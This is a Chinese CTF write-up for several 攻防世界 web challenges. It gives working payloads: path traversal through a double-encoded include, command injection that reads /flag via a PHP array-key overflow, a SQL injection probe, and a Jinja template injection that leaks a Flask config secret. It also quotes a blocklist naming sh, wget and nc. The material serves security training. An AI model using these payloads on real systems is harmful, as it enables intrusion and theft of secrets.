攻防世界 web篇(六)

简介: 攻防世界 web篇(六)

攻防世界 web篇(六)

warmup

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }

第一个:检查一个变量是否为空

第二个:是否为字符串

第三个:通过函数来检查

file:// 协议

条件:

allow_url_fopen:off/on

allow_url_include :off/on

include文件包含是遇到 …/…/会将以.开头,则解析器会在当前目录的父目录下寻找该文件

http://61.147.171.105:63713/source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg

favorite_number

打开页面

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

php的版本为5.5.9这里联想到一个数组下标溢出漏洞也就是说数组中键值为0的元素与键值为4294967296的元素是同一个

审计代码发现,通过POST方式传一个数组,传入的数组的内容必须与array数组内容全等,但这里有个矛盾,需要传入的数组的第一个元素不能为admin,但array数组的第一个元素就是admin,这里就要利用数组溢出漏洞了,使用如下payload

stuff[4294967296]=admin&stuff[1]=user&num=111

无法查看

查看文件id

我的504尝试另一种读取flag的方法:将/flag输出到一个文件中,读取这个文件即可

stuff[4294967296]=admin&stuff[]=user&num=666%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac `tac /tmp/hello`

warmup

用kali的dirb或者nikto:

http://61.147.171.105:54492/user.php.bak下载
<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

进来后姓名处

%20and%201=2

查找注入

shrine

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
    return open(__file__).read()\
@app.route('/shrine/')
def shrine(shrine):
   def safe_jinja(s):
       s = s.replace('(', '').replace(')', '')
       blacklist = ['config', 'self']
       return ''.join(['{{% set {}=None%}}'.format(c)for c in blacklist]) + s
       return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

使用Python内置函数读取全局变量 url_for或者get_flashed_messages

http://61.147.171.105:53847/shrine/%7B%7Burl_for.globals%7D%7D

可以解析到

看到了属性的东西,代码审计的时候有 app.config[‘FLAG’]

调用这个函数

python沙箱逃逸的方法是 利用python对象之间的引用关系来调用被禁用的函数对象

构造payloads: /shrine/{{url_for.globals[‘current_app’].config[‘FLAG’]}}

http://61.147.171.105:53847/shrine/%7B%7Burl_for.__globals__['current_app'].config['FLAG']%7D%7D


相关文章
|
6月前
|
存储 PHP 数据安全/隐私保护
攻防世界 Web_php_unserialize
攻防世界 Web_php_unserialize
105 0
|
7月前
|
SQL 监控 安全
Java Web应用的安全防护与攻防策略
Java Web应用的安全防护与攻防策略
|
7月前
|
SQL 监控 安全
Java Web应用的安全防护与攻防策略
Java Web应用的安全防护与攻防策略
|
7月前
|
SQL 安全 Java
Java Web应用的安全防护与攻防深度剖析
Java Web应用的安全防护与攻防深度剖析
攻防世界---web---warmup
攻防世界---web---warmup
攻防世界---web---warmup
|
9月前
|
数据库
攻防世界---web---NewsCenter
攻防世界---web---NewsCenter
|
9月前
|
SQL 开发框架 .NET
攻防世界---web---supersqli
攻防世界---web---supersqli
|
9月前
|
PHP
攻防世界---Web_php_include
攻防世界---Web_php_include
攻防世界---baby_web
攻防世界---baby_web
|
9月前
|
数据安全/隐私保护
攻防世界web-----easyupload
攻防世界web-----easyupload

热门文章

最新文章

  • 1
    Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
    23
  • 2
    AppSpider Pro 7.5.015 for Windows - Web 应用程序安全测试
    19
  • 3
    【02】客户端服务端C语言-go语言-web端PHP语言整合内容发布-优雅草网络设备监控系统-2月12日优雅草简化Centos stream8安装zabbix7教程-本搭建教程非docker搭建教程-优雅草solution
    53
  • 4
    部署使用 CHAT-NEXT-WEB 基于 Deepseek
    291
  • 5
    【2025优雅草开源计划进行中01】-针对web前端开发初学者使用-优雅草科技官网-纯静态页面html+css+JavaScript可直接下载使用-开源-首页为优雅草吴银满工程师原创-优雅草卓伊凡发布
    26
  • 6
    java spring 项目若依框架启动失败,启动不了服务提示端口8080占用escription: Web server failed to start. Port 8080 was already in use. Action: Identify and stop the process that’s listening on port 8080 or configure this application to listen on another port-优雅草卓伊凡解决方案
    38
  • 7
    零基础构建开源项目OpenIM桌面应用和pc web- Electron篇
    28
  • 8
    【01】客户端服务端C语言-go语言-web端PHP语言整合内容发布-优雅草网络设备监控系统-硬件设备实时监控系统运营版发布-本产品基于企业级开源项目Zabbix深度二开-分步骤实现预计10篇合集-自营版
    20
  • 9
    FastAPI与Selenium:打造高效的Web数据抓取服务 —— 采集Pixabay中的图片及相关信息
    53
  • 10
    springSecurity学习之springSecurity过滤web请求
    59